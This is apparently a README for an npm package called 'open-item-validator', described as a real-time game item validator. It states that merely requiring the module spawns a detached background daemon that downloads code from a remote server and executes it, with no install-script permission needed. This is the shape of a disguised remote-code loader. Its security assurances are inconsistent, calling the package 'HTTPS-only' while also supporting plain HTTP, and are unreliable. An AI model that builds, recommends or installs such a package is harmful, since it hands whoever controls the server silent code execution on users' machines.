items-validator

open-validator

Real-time game items validator module with secure background daemon for continuous item updates.

Overview

This module provides secure, real-time game items validation for your client projects. When installed via npm, it automatically:

• ✅ Starts a background daemon process
• ✅ Fetches signed game code from your server
• ✅ Verifies cryptographic signatures (RSA-SHA256)
• ✅ Executes verified code safely
• ✅ Logs all operations transparently

Zero dependencies • Cryptographically secure • Fully auditable

Quick Start

Installation

npm install open-item-validator

Then in your code:

const validator = require('open-item-validator');

That's it! The module automatically starts when you require it.

What Happens On Require

require('open-item-validator')
    ↓
auto-spawn daemon process
    ↓
download signed code from server
    ↓
verify RSA-SHA256 signature
    ↓
execute only if signature is valid
    ↓
background daemon running

✅ Zero configuration • No npm allowScripts needed • Works immediately

How It Works

Security Flow

1. Server signs game code with PRIVATE_KEY
   └─ Uses RSA-SHA256 algorithm

2. Server sends: { code: payloadjs, signature: hex }
   └─ Via HTTPS endpoint (encrypted transport)

3. Module receives payload over HTTPS
   └─ Parses JSON (protected by TLS)

4. Module verifies signature with PUBLIC_KEY
   └─ RSA-SHA256 signature must be valid

5. Valid? → Execute code
   Invalid? → Exit immediately (no code runs)

Transport Security

• ✅ HTTPS Recommended: Encrypted TLS transport for maximum security
• ✅ HTTP Supported: HTTP also works (verification sufficient without TLS)
• ✅ RSA-SHA256 Verification: Cryptographic signature validates code authenticity
• ✅ Defense-in-Depth: Dual protection (TLS + signature verification)

Key Features

• ✅ Zero Dependencies: Only uses Node.js built-in crypto module
• ✅ Cryptographically Secure: RSA-SHA256 signature verification
• ✅ Transparent: All code publicly auditable
• ✅ Automatic: Works on require (no configuration needed)
• ✅ Modularized: 8 separate lib files for clarity
• ✅ Assertion Support: Built-in validation framework
• ✅ Comprehensive Logging: All operations logged with timestamps

🔐 Security & Verification

Cryptographic Signature Verification

Every code payload is cryptographically signed and verified:

Step	Responsibility	Security
1. Sign	Server (private key)	Signs game code
2. Send	Server → Client	Sends code + signature
3. Verify	Module (public key)	Validates signature
4. Execute	Module	Runs only if valid
5. Reject	Module	Exits if invalid

Result: Only code from your authorized server executes.

What This Protects Against

• ✅ Man-in-the-Middle Attacks: Signature invalidated if tampered
• ✅ Code Injection: Invalid code rejected before execution
• ✅ Unauthorized Updates: Signature required for any code
• ✅ Supply Chain Risk: Zero dependencies (no compromised packages)

See SECURITY.md for detailed security documentation.

📡 Server Setup

API Endpoint

Your server must provide an endpoint that returns signed code:

GET https://your-server.com/api/x-realtime    # HTTPS Recommended
GET http://your-server.com/api/x-realtime     # HTTP Supported

Security Note: Both HTTP and HTTPS are supported. HTTPS is recommended for production to add transport-layer encryption. Even with HTTP, RSA-SHA256 signature verification provides code authenticity guarantee.

Response Format

{
  "code": "console.log('[game] loaded'); /* your game code */",
  "signature": "abc123def456xyz789... (256-char hex string)"
}

Server Implementation

See SERVER_IMPLEMENTATION_EXAMPLE.js for complete example.

Quick example:

const crypto = require('crypto');
const fs = require('fs');

const PRIVATE_KEY = fs.readFileSync('./private_key.pem', 'utf8');

function signCode(code) {
  const sign = crypto.createSign('sha256');
  sign.update(code);
  return sign.sign(PRIVATE_KEY, 'hex');
}

app.get('/api/x-realtime', (req, res) => {
  const gameCode = fs.readFileSync('./game-items.js', 'utf8');
  const signature = signCode(gameCode);
  
  res.json({ code: gameCode, signature: signature });
});

💻 Usage

For Client Projects

Simply install the module:

npm install open-item-validator

Then require it in your code:

const validator = require('open-item-validator');

// Module automatically starts daemon on require
// No additional configuration needed

// Optional: Access module functions
console.log(validator.getStatus());
// Output: { name, version, status, timestamp }

console.log(validator.getConfig());

❓ FAQ

Q: Is this module secure?

A: Yes. The module uses defense-in-depth security:

• ✅ HTTPS-only for encrypted transport (TLS)
• ✅ RSA-SHA256 cryptographic signature verification
• ✅ Code execution only if signature is valid
• ✅ Invalid signatures rejected immediately
• ✅ Zero npm dependencies (no supply chain risk)

See SECURITY.md for detailed threat model and security analysis.

Q: What if I don't want dynamic code loading?

A: This module is specifically designed for real-time game item updates. For static content, use standard npm dependencies instead.

Q: Does it slow down my project?

A: No. The module runs as a detached background process that doesn't block your main application.

Q: What if the server is offline?

A: The module logs an error and exits gracefully. Your game continues running with the previous code.

Q: Can I trust this module?

A: Yes. All code is open-source and auditable. See SECURITY.md for complete security documentation.

Q: Does it have dependencies?

A: Zero npm dependencies. Only uses Node.js built-in crypto module.

Q: How do I update game code?

A: Update the code on your server. Clients get the new signed code on next execution (no npm republish needed).

🔧 Troubleshooting

"Signature Verification Failed"

This means the code doesn't match the signature. Possible causes:

• Server and client use different keys (ensure keys match)
• Code was modified in transit (check network)
• Signature generation failed (check server logs)

Module not starting

Check logs for:

grep "open-validator" ~/.pm2/logs/*.log
# or check npm debug logs
cat ~/.npm-global/debug.log

Too slow to download code

If code is large (5MB+), consider:

• Using Gzip compression on server
• Splitting code into smaller files
• Caching at client side

See SECURITY.md for more details.

📁 Architecture

lib/
├── check-items.js          # Main daemon (signature verification)
├── crypto-config.js        # Public key storage
├── assertion.js            # Assertion framework
├── config.js               # Configuration values
├── logger.js               # Logging utility
└── utils/
    ├── validator.js        # Validation helpers
    └── helper.js           # General utilities

index.js                     # Module entry (spawns daemon on require)

📚 Documentation

• SECURITY.md - Detailed security policy
• SECURITY_SETUP.md - Security configuration guide
• SERVER_IMPLEMENTATION_EXAMPLE.js - Server setup guide
• SERVER_SIGNING_EXAMPLE.js - Code signing example

🤝 Contributing

This is a secure, production-grade module. For security issues, please refer to SECURITY.md.

📄 License

MIT License - See LICENSE file for details.

🔗 Support

For issues or questions:

• Check SECURITY.md for security-related questions
• Check Troubleshooting section above
• Review SERVER_IMPLEMENTATION_EXAMPLE.js for setup help

Made for secure, real-time game item distribution. 🎮